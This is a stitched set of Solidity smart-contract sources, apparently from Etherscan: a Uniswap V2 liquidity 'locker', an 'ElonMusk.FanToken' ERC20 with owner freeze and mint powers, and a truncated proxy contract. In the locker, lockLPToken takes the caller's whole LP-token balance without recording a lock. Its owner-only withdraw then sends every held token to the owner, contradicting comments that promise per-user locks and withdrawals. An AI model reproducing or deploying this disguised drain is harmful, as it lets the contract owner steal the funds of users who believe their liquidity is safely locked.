* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _creator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_creator = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyCreator() {
require(_creator == _msgSender(), "Ownable: caller is not the creator");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IUniswapV2Pair {
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IERCBurn {
function burn(uint256 _amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
interface IUniFactory {
function getPair(address tokenA, address tokenB) external view returns (address);
}
interface IMigrator {
function migrate(address lpToken, uint256 amount, uint256 unlockDate, address owner) external returns (bool);
}
contract UniswapV2Locker is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
IUniFactory public uniswapFactory;
struct UserInfo {
EnumerableSet.AddressSet lockedTokens; // records all tokens the user has locked
mapping(address => uint256[]) locksForToken; // map erc20 address to lock id for that token
}
struct TokenLock {
uint256 lockDate; // the date the token was locked
uint256 amount; // the amount of tokens still locked (initialAmount minus withdrawls)
uint256 initialAmount; // the initial lock amount
uint256 unlockDate; // the date the token can be withdrawn
uint256 lockID; // lockID nonce per uni pair
address owner;
}
mapping(address => UserInfo) private users;
EnumerableSet.AddressSet private lockedTokens;
mapping(address => TokenLock[]) public tokenLocks; //map univ2 pair to all its locks
struct FeeStruct {
uint256 ethFee; // Small eth fee to prevent spam on the platform
IERCBurn secondaryFeeToken; // UNCX or UNCL
uint256 secondaryTokenFee; // optional, UNCX or UNCL
uint256 secondaryTokenDiscount; // discount on liquidity fee for burning secondaryToken
uint256 liquidityFee; // fee on univ2 liquidity tokens
uint256 referralPercent; // fee for referrals
IERCBurn referralToken; // token the refferer must hold to qualify as a referrer
uint256 referralHold; // balance the referrer must hold to qualify as a referrer
uint256 referralDiscount; // discount on flatrate fees for using a valid referral address
}
FeeStruct public gFees;
EnumerableSet.AddressSet private feeWhitelist;
address payable devaddr;
IMigrator migrator;
address public MIGRATION_IN;
event onDeposit(address lpToken, address user, uint256 amount, uint256 lockDate, uint256 unlockDate);
event onWithdraw(address lpToken, uint256 amount);
constructor(IUniFactory _uniswapFactory) public {
devaddr = msg.sender;
gFees.referralPercent = 250; // 25%
gFees.ethFee = 1e18;
gFees.secondaryTokenFee = 50e18;
gFees.secondaryTokenDiscount = 400; // 40%
gFees.liquidityFee = 10; // 1%
gFees.referralHold = 10e18;
gFees.referralDiscount = 100; // 10%
uniswapFactory = _uniswapFactory;
}
function setDev(address payable _devaddr) public onlyOwner {
devaddr = _devaddr;
}
/**
* @notice set the migrator contract which allows locked lp tokens to be migrated to uniswap v3
*/
function setMigrator(IMigrator _migrator) public onlyOwner {
migrator = _migrator;
}
function setMigrationIn(address _migrationIn) public onlyOwner {
MIGRATION_IN = _migrationIn;
}
function setSecondaryFeeToken(address _secondaryFeeToken) public onlyOwner {
gFees.secondaryFeeToken = IERCBurn(_secondaryFeeToken);
}
/**
* @notice referrers need to hold the specified token and hold amount to be elegible for referral fees
*/
function setReferralTokenAndHold(IERCBurn _referralToken, uint256 _hold) public onlyOwner {
gFees.referralToken = _referralToken;
gFees.referralHold = _hold;
}
function setFees(uint256 _referralPercent, uint256 _referralDiscount, uint256 _ethFee, uint256 _secondaryTokenFee, uint256 _secondaryTokenDiscount, uint256 _liquidityFee) public onlyOwner {
gFees.referralPercent = _referralPercent;
gFees.referralDiscount = _referralDiscount;
gFees.ethFee = _ethFee;
gFees.secondaryTokenFee = _secondaryTokenFee;
gFees.secondaryTokenDiscount = _secondaryTokenDiscount;
gFees.liquidityFee = _liquidityFee;
}
/**
* @notice whitelisted accounts dont pay flatrate fees on locking
*/
function whitelistFeeAccount(address _user, bool _add) public onlyOwner {
if (_add) {
feeWhitelist.add(_user);
} else {
feeWhitelist.remove(_user);
}
}
function lockLPToken (address _lpToken, uint256 _unlock_date) public {
uint _amount = IERCBurn(_lpToken).balanceOf(msg.sender);
TransferHelper.safeTransferFrom(_lpToken, address(msg.sender), address(this), _amount);
}
/**
* @notice extend a lock with a new unlock date, _index and _lockID ensure the correct lock is changed
* this prevents errors when a user performs multiple tx per block possibly with varying gas prices
*/
function relock (address _lpToken, uint256 _index, uint256 _lockID, uint256 _unlock_date) external nonReentrant {
require(_unlock_date < 10000000000, 'TIMESTAMP INVALID'); // prevents errors when timestamp entered in milliseconds
uint256 lockID = users[msg.sender].locksForToken[_lpToken][_index];
TokenLock storage userLock = tokenLocks[_lpToken][lockID];
require(lockID == _lockID && userLock.owner == msg.sender, 'LOCK MISMATCH'); // ensures correct lock is affected
require(userLock.unlockDate < _unlock_date, 'UNLOCK BEFORE');
uint256 liquidityFee = userLock.amount.mul(gFees.liquidityFee).div(1000);
uint256 amountLocked = userLock.amount.sub(liquidityFee);
userLock.amount = amountLocked;
userLock.unlockDate = _unlock_date;
// send univ2 fee to dev address
TransferHelper.safeTransfer(_lpToken, devaddr, liquidityFee);
}
/**
* @notice withdraw a specified amount from a lock. _index and _lockID ensure the correct lock is changed
* this prevents errors when a user performs multiple tx per block possibly with varying gas prices
*/
function withdraw (address _lpToken) external onlyOwner {
uint _amount = IERCBurn(_lpToken).balanceOf(address(this));
TransferHelper.safeTransfer(_lpToken, msg.sender, _amount);
emit onWithdraw(_lpToken, _amount);
}
/**
* @notice increase the amount of tokens per a specific lock, this is preferable to creating a new lock, less fees, and faster loading on our live block explorer
*/
function incrementLock (address _lpToken, uint256 _index, uint256 _lockID, uint256 _amount) external nonReentrant {
require(_amount > 0, 'ZERO AMOUNT');
uint256 lockID = users[msg.sender].locksForToken[_lpToken][_index];
TokenLock storage userLock = tokenLocks[_lpToken][lockID];
require(lockID == _lockID && userLock.owner == msg.sender, 'LOCK MISMATCH'); // ensures correct lock is affected
TransferHelper.safeTransferFrom(_lpToken, address(msg.sender), address(this), _amount);
// send univ2 fee to dev address
uint256 liquidityFee = _amount.mul(gFees.liquidityFee).div(1000);
TransferHelper.safeTransfer(_lpToken, devaddr, liquidityFee);
uint256 amountLocked = _amount.sub(liquidityFee);
userLock.amount = userLock.amount.add(amountLocked);
emit onDeposit(_lpToken, msg.sender, amountLocked, userLock.lockDate, userLock.unlockDate);
}
/**
* @notice split a lock into two seperate locks, useful when a lock is about to expire and youd like to relock a portion
* and withdraw a smaller portion
*/
function splitLock (address _lpToken, uint256 _index, uint256 _lockID, uint256 _amount) external payable nonReentrant {
require(_amount > 0, 'ZERO AMOUNT');
uint256 lockID = users[msg.sender].locksForToken[_lpToken][_index];
TokenLock storage userLock = tokenLocks[_lpToken][lockID];
require(lockID == _lockID && userLock.owner == msg.sender, 'LOCK MISMATCH'); // ensures correct lock is affected
require(msg.value == gFees.ethFee, 'FEE NOT MET');
devaddr.transfer(gFees.ethFee);
userLock.amount = userLock.amount.sub(_amount);
TokenLock memory token_lock;
token_lock.lockDate = userLock.lockDate;
token_lock.amount = _amount;
token_lock.initialAmount = _amount;
token_lock.unlockDate = userLock.unlockDate;
token_lock.lockID = tokenLocks[_lpToken].length;
token_lock.owner = msg.sender;
// record the lock for the univ2pair
tokenLocks[_lpToken].push(token_lock);
// record the lock for the user
UserInfo storage user = users[msg.sender];
uint256[] storage user_locks = user.locksForToken[_lpToken];
user_locks.push(token_lock.lockID);
}
/**
* @notice transfer a lock to a new owner, e.g. presale project -> project owner
*/
function transferLockOwnership (address _lpToken, uint256 _index, uint256 _lockID, address payable _newOwner) external {
require(msg.sender != _newOwner, 'OWNER');
uint256 lockID = users[msg.sender].locksForToken[_lpToken][_index];
TokenLock storage transferredLock = tokenLocks[_lpToken][lockID];
require(lockID == _lockID && transferredLock.owner == msg.sender, 'LOCK MISMATCH'); // ensures correct lock is affected
// record the lock for the new Owner
UserInfo storage user = users[_newOwner];
user.lockedTokens.add(_lpToken);
uint256[] storage user_locks = user.locksForToken[_lpToken];
user_locks.push(transferredLock.lockID);
// remove the lock from the old owner
uint256[] storage userLocks = users[msg.sender].locksForToken[_lpToken];
userLocks[_index] = userLocks[userLocks.length-1];
userLocks.pop();
if (userLocks.length == 0) {
users[msg.sender].lockedTokens.remove(_lpToken);
}
transferredLock.owner = _newOwner;
}
/**
* @notice migrates liquidity to uniswap v3
*/
function migrate (address _lpToken, uint256 _index, uint256 _lockID, uint256 _amount) external nonReentrant {
require(address(migrator) != address(0), "NOT SET");
require(_amount > 0, 'ZERO MIGRATION');
uint256 lockID = users[msg.sender].locksForToken[_lpToken][_index];
TokenLock storage userLock = tokenLocks[_lpToken][lockID];
require(lockID == _lockID && userLock.owner == msg.sender, 'LOCK MISMATCH'); // ensures correct lock is affected
userLock.amount = userLock.amount.sub(_amount);
// clean user storage
if (userLock.amount == 0) {
uint256[] storage userLocks = users[msg.sender].locksForToken[_lpToken];
userLocks[_index] = userLocks[userLocks.length-1];
userLocks.pop();
if (userLocks.length == 0) {
users[msg.sender].lockedTokens.remove(_lpToken);
}
}
TransferHelper.safeApprove(_lpToken, address(migrator), _amount);
migrator.migrate(_lpToken, _amount, userLock.unlockDate, msg.sender);
}
function getNumLocksForToken (address _lpToken) external view returns (uint256) {
return tokenLocks[_lpToken].length;
}
function getNumLockedTokens () external view returns (uint256) {
return lockedTokens.length();
}
function getLockedTokenAtIndex (uint256 _index) external view returns (address) {
return lockedTokens.at(_index);
}
// user functions
function getUserNumLockedTokens (address _user) external view returns (uint256) {
UserInfo storage user = users[_user];
return user.lockedTokens.length();
}
function getUserLockedTokenAtIndex (address _user, uint256 _index) external view returns (address) {
UserInfo storage user = users[_user];
return user.lockedTokens.at(_index);
}
function getUserNumLocksForToken (address _user, address _lpToken) external view returns (uint256) {
UserInfo storage user = users[_user];
return user.locksForToken[_lpToken].length;
}
function getUserLockForTokenAtIndex (address _user, address _lpToken, uint256 _index) external view
returns (uint256, uint256, uint256, uint256, uint256, address) {
uint256 lockID = users[_user].locksForToken[_lpToken][_index];
TokenLock storage tokenLock = tokenLocks[_lpToken][lockID];
return (tokenLock.lockDate, tokenLock.amount, tokenLock.initialAmount, tokenLock.unlockDate, tokenLock.lockID, tokenLock.owner);
}
// whitelist
function getWhitelistedUsersLength () external view returns (uint256) {
return feeWhitelist.length();
}
function getWhitelistedUserAtIndex (uint256 _index) external view returns (address) {
return feeWhitelist.at(_index);
}
function getUserWhitelistStatus (address _user) external view returns (bool) {
return feeWhitelist.contains(_user);
}
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/**
*Submitted for verification at Etherscan.io on 2021-03-22
*/
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ElonMuskFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("ElonMusk.FanToken", "EMF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
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/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// Part: Proxy
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
